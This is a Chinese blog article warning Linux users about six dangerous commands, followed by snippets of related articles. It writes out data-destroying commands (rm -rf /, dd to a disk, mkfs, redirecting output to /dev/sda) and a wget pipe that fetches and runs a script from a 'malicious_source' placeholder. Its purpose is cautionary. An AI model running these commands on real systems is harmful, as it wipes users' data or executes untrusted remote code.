Linux操作系统上要慎用的6个命令及防范方法

  Linux操作系统上要慎用的6个命令及防范方法

  基于Linux平台工作的童鞋都知道Linux命令行使用起来非常高效和快捷,但有时候也很危险,尤其是在你不确定你自己在正在做什么时候(别笑,别以为自己真的知道自己想干啥)。各大互联网公司因为在后台执行命令不慎导致数据库被删除和服务宕机的事情屡见不鲜,本文就给大家介绍一下Linux下比较危险的命令,引以为戒,在使用的时候一定要万分小心!

  rm -rf命令

  把这个命令放到第一个,是因为它有不少故事,你懂的。rm -rf命令是删除整个文件夹最快的方式之一。它可以删除允许范围内的任何文件和文件夹,稍有不慎就可能导致不可恢复的系统崩溃。这里面涉及2个选项,都是非常方便,但又非常恐怖的。

  -r 该选项使得rm命令递归的删除文件夹,甚至是空的文件夹。

  -f 该选项使得rm命令能不经过询问直接删除‘只读文件’。

  rm -rf / :强制删除根目录下所有东东。

  rm -rf *: 强制删除当前目录的所有文件。

  rm -rf . :强制删除当前文件夹及其子文件夹。

  这些命令都是非常强悍的,因此在使用的时候一定要万分的消息。另外,在使用rm命令且带有rf选项时一定要慎用正则表达式,稍有错误就造成不可挽回的所示。

  mv 文件夹 /dev/null

  mv命令其实跟rm命令有着相同的危险程度。这个命令会移动某个‘文件夹‘到/dev/null。在Linux中/dev/null或null设备是一个特殊的文件,所有写入它的数据都会被丢弃,然后返回写操作成功。

  # mv /mnt/data/* /dev/null

  上列命令会将data目录所有内容移动到/dev/null,这意味着所有东西都被‘卷入’黑洞 (null)之中。

  命令 > /dev/sda

  标题命令会将某个‘命令‘的输出写到块设备/dev/sda中。该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。

  mkfs.ext3 /dev/sda

  与上一个命令一样,这个命令会格式化块设备‘sda’,你无疑知道在执行上列命令后你的块设备(硬盘驱动器)会被格式化,崭新的,没有任何数据,直接让你的系统达到不可恢复的阶段。当然,该命令在执行的时候回检查磁盘是否已经格式化,但不能保证那个愣头愣脑的兄弟强制执行。这里只是个例子,除了ext3,任何格式化的命令在使用的时候都要小心,小心,小心!

  dd if=/dev/random of=/dev/sdb

  dd命令也是一个比较危险的命令,如标题命令令会向块设备sdb写入随机的垃圾文件从而擦除该磁盘上的数据。如果该盘是数据盘,将会导致磁盘文件系统的损坏,进而丢失上面所有数据;如果是系统盘将直接导致系统陷入混乱和不可恢复的状态。

  wget http://malicious_source -O- | sh

  标题命令会从一个网站下载一个脚本并执行,有时候你并不知道这个脚本真的在做什么(这就是开头说的有时候你不确定你要做什么)。wget命令会下载这个脚本,而sh会(无条件的)执行下载下来的脚本。如果这个脚本是恶意程序,则会产生不可预料的后果。

  你应该时刻注意你下载包或脚本的源。只能使用那些从可信任的源中下载脚本/程序。

  危险命令的防范

  我们没法保证任何人都了解这些命令的危险性,因此做到未雨绸缪很重要。以rm命令为例,我们可以通过别名的方式避免登录本无服务器的任何人误用。具体方法是在“.bashrc”文件对‘rm’命令创建rm -i的别名,来预防用‘rm‘命令删除文件时的事故,它会要求你确认每一个删除请求。具体如图2所示,这样在该服务器上执行rm 其实是执行rm -i。

  图2 设置命令的别名

  最后嘱咐大家,一定要慎用这些命令,有其在生产环境。

原文地址:https://www.cnblogs.com/yyuyu/p/10247105.html

时间: 2024-11-06 10:43:40

Linux操作系统上要慎用的6个命令及防范方法的相关文章

如何将.Net Core应用程序部署在Linux操作系统上运行

.Net Core简介 跨平台: 可以在 Windows.macOS 和 Linux 操作系统上运行. 跨体系结构保持一致: 在多个体系结构(包括 x64.x86 和 ARM)上以相同的行为运行代码. 命令行工具: 包括可用于本地开发和持续集成方案中的易于使用的命令行工具. 部署灵活: 可以包含在应用或已安装的并行(用户或系统范围安装)中. 可搭配 Docker 容器使用. 兼容性: .NET Core 通过 .NET Standard与 .NET Framework.Xamarin 和 Mon

Linux操作系统上安装JDK

步骤1:下载JDK 1.7 安装包 JDK 1.7 下载地址:http://www.oracle.com/technetwork/java/javase/downloads/jdk7-downloads-1880260.html 在下载过程中,需要注意两点: 1:注意操作系统版本,以及32位还是64位操作系统.如下所示,Linux 分x86.x64两种, Product / File Description File Size Download Linux x86 80.38 MB jdk-7u

Linux系统上的任务计划相关命令at、crontab的使用方法

一.总结Linux系统上的任务计划at.crontab的详细使用方法 1.计划任务说明 在未来时间点一次性执行某任务:at,batch: 周期性执行某任务:crontab: 2.电子邮件服务 计划任务默认以邮件的形式将结果发送给执行任务的用户 mail命令: mail username(@hostname):进入交互式收发邮件接口 mail -s 'SUBJECT' [email protected]:设置邮件主题 < /path/from/somefile:将文件内容发送给收件人 echo &qu

Linux操作系统基础解析之(五)——grep命令家族及正则表达式初识

grep号称文本处理三剑客之一,虽然说是三剑客中功能最少也是最简单的,但仍然不能小觑.  grep的全称为:Global search REgular expression and Print out the line,即:全面查找正则表达式并将匹配的行显示出来. 那么这里面出现了一个新的概念:正则表达式.那么什么是正则表达式呢? 正则表达式,又称正规表示法.常规表示法英语:(Regular Expression,在代码中常简写为regex.regexp或RE),计算机科学的一个概念.正则表达式

linux系统 用户和组管理类命令的使用方法

列出当前系统上所有已经登录的用户的用户名,注意:同一用户登录多次,则只显示一次即可. [[email protected] ~]# who    #显示当前用户登录信息 root    tty1         2016-10-05 15:58 root    pts/0        2016-10-05 16:07(192.168.0.17) [[email protected] ~]# who | cut -d' ' -f1    #取出当前用户登录信息的用户名 root root [[e

在Mac/Linux/Windows上编译corefx遇到的问题及解决方法

这两天尝试在Mac/Linux/Windows三大平台上编译.NET跨平台三驾马车(coreclr/corefx/dnx)之一的corefx(.NET Core Framework),结果三个平台的编译都失败了.后来一一都解决了,在这篇博文中分享一下. (一) 在Mac上编译corefx遇到的错误如下: /git/dotnet/corefx/dir.props(214,5): warning : The Roslyn targets do not exist- Roslyn will not b

Hadoop Shell命令(基于linux操作系统上传下载文件到hdfs文件系统基本命令学习)

Apache-->hadoop的官网文档命令学习:http://hadoop.apache.org/docs/r1.0.4/cn/hdfs_shell.html FS Shell 调用文件系统(FS)Shell命令应使用 bin/hadoop fs <args>的形式. 所有的的FS shell命令使用URI路径作为参数.URI格式是scheme://authority/path.对HDFS文件系统,scheme是hdfs,对本地文件系统,scheme是file.其中scheme和aut

linux操作系统上的gz, bz2, xz, zip, 格式的压缩命令以及tar用法

每种压缩的压缩算法不同,压缩比也会不同 gzip: 压缩文件为 .gz 格式的,后缀亦是如此 gzip /PATH/TO/SOMEFILE:压缩完成后会删除原文件,压缩后的文件以源文件命名,并且自动添加后缀 gunzip : 解压 .gz 格式的文件,解压缩后会删除原文件 zcat : 不解压 .gz 文件的情况下,查看文本文件的内容 ------------------------------------------------------------------ bzip2: 压缩文件为 

Linux操作系统上用数据泵导库

1.在Linux上 创建物理目录dp_dir,存放数据库.dmp文件: 用root用户登录,切换到oracle用户,用oralce身份创建物理目录如下: [[email protected] oracle]# su - oracle [[email protected] ~]$ mkdir /home/oracle/dp_dir 将数据库文件备份到 /home/oracle/dp_dir下,方法:可以用WinSCP远程登录主机后,.DMP文件拖拽到目录下,但显示该.DMP文件的所有者是root,